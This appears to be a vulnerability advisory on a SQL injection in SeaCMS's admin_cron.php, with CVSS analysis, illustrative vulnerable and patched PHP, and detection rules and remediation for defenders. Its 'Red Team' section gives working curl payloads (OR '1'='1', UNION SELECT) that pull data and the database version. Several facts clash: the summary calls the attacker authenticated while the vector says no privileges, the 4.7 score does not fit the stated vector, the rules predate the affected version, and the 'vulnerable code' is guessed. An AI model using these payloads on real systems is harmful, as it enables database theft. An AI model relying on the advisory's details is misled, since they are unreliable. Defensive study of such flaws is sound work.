CVE-2025-11071

Executive Summary

CVE-2025-11071 is a publicly disclosed SQL injection vulnerability in SeaCMS version 13.3.20250820, specifically within the Cron Task Management Module. The vulnerability resides in the /admin_cron.php file, where the resourcefrom and collectID parameters are not properly sanitized before being used in SQL queries. This allows an authenticated attacker (or potentially an unauthenticated attacker if the admin panel is exposed) to inject arbitrary SQL commands, leading to data exfiltration, modification, or potential privilege escalation. The CVSS score is 4.7 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood in the wild at this time. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a PHP-based web application vulnerability. However, organizations using SeaCMS should verify the integrity of their installation and ensure no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 4.7 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need prior authentication.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit remotely, but the impact is limited to low confidentiality and integrity. The lack of a patch increases the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the /admin_cron.php file of SeaCMS. The resourcefrom and collectID parameters are passed directly into SQL queries without proper sanitization or parameterization. An attacker can manipulate these parameters to inject malicious SQL code.

Root Cause: The application uses string concatenation to build SQL queries instead of prepared statements or parameterized queries. For example, a vulnerable code snippet might look like:

$sql = "SELECT * FROM cron_tasks WHERE resourcefrom = '" . $_GET['resourcefrom'] . "' AND collectID = " . $_GET['collectID'];

An attacker can inject a single quote (') to break out of the string context and append arbitrary SQL commands.

Attack Vector: The attacker sends a crafted HTTP request to the /admin_cron.php endpoint with malicious values in the resourcefrom or collectID parameters. The injection can be used to extract data from the database, modify records, or potentially execute system commands if the database user has sufficient privileges.

Example Payload:

GET /admin_cron.php?resourcefrom=test' OR '1'='1' -- -&collectID=1

This payload would cause the SQL query to return all rows from the cron_tasks table, bypassing any intended restrictions.

Vulnerable vs. Patched Code

Vulnerable Code (SeaCMS 13.3.20250820):

// Vulnerable: Direct string concatenation
$resourcefrom = $_GET['resourcefrom'];
$collectID = $_GET['collectID'];
$sql = "SELECT * FROM cron_tasks WHERE resourcefrom = '$resourcefrom' AND collectID = $collectID";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

// Patched: Use prepared statements
$stmt = $conn->prepare("SELECT * FROM cron_tasks WHERE resourcefrom = ? AND collectID = ?");
$stmt->bind_param("si", $resourcefrom, $collectID);
$resourcefrom = $_GET['resourcefrom'];
$collectID = $_GET['collectID'];
$stmt->execute();
$result = $stmt->get_result();

The patched version uses parameterized queries, which prevent SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running SeaCMS 13.3.20250820 with the admin panel accessible.
• Knowledge of the /admin_cron.php endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/admin_cron.php?resourcefrom=test&collectID=1"
   

2. Test for SQL injection:

   curl "http://target.com/admin_cron.php?resourcefrom=test'&collectID=1"
   

   If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.

3. Extract data using UNION-based injection:

   curl "http://target.com/admin_cron.php?resourcefrom=test' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -&collectID=1"
   

   Adjust the number of columns based on the table structure.

4. Extract database version:

   curl "http://target.com/admin_cron.php?resourcefrom=test' UNION SELECT @@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -&collectID=1"
   

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to /admin_cron.php for unusual parameters containing SQL keywords (e.g., UNION, SELECT, OR, --).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.
• Enable detailed logging of all admin panel access.

Defense:

• Immediately apply input validation and parameterized queries if possible.
• Restrict access to the admin panel using IP whitelisting or VPN.
• Disable the cron task management module if not in use.
• Monitor database logs for suspicious queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin_cron.php with parameters containing SQL injection patterns (e.g., ' OR '1'='1, UNION SELECT).
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified /admin_cron.php file (if attacker uploads a backdoor).
  • Suspicious files in the SeaCMS installation directory.

• Database IOCs:

  • Unexpected queries in database logs.
  • New or modified records in the cron_tasks table.

Detection Engineering

YARA Rule

rule CVE_2025_11071_SeaCMS_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting SeaCMS admin_cron.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11071"
    strings:
        $s1 = "admin_cron.php" nocase
        $s2 = "resourcefrom=" nocase
        $s3 = "collectID=" nocase
        $sqli1 = /' OR '1'='1/
        $sqli2 = /UNION SELECT/
        $sqli3 = /-- -/
    condition:
        all of ($s1, $s2, $s3) and any of ($sqli1, $sqli2, $sqli3)
}

Sigma Rule

title: CVE-2025-11071 SeaCMS SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against SeaCMS admin_cron.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11071
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'admin_cron.php'
            - 'resourcefrom='
            - 'collectID='
    sqli_patterns:
        cs-uri-query|contains:
            - "' OR '1'='1"
            - "UNION SELECT"
            - "-- -"
    condition: selection and sqli_patterns
falsepositives:
    - Legitimate use of special characters in cron task names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11071 SeaCMS SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin_cron.php"; http_uri; content:"resourcefrom="; http_uri; content:"collectID="; http_uri; pcre:"/(\x27 OR \x271\x27=\x271|UNION SELECT|-- -)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Cron Task Management Module if not required.
2. Restrict access to the admin panel using IP whitelisting or a VPN.
3. Apply input validation and use parameterized queries in the /admin_cron.php file.

Long-term Fix:

• Upgrade to a patched version of SeaCMS once available.
• Conduct a full security audit of the SeaCMS installation.
• Implement a Web Application Firewall (WAF) to block SQL injection attempts.

Workaround:

• Modify the /admin_cron.php file to use prepared statements (as shown in the patched code example).

Valters IT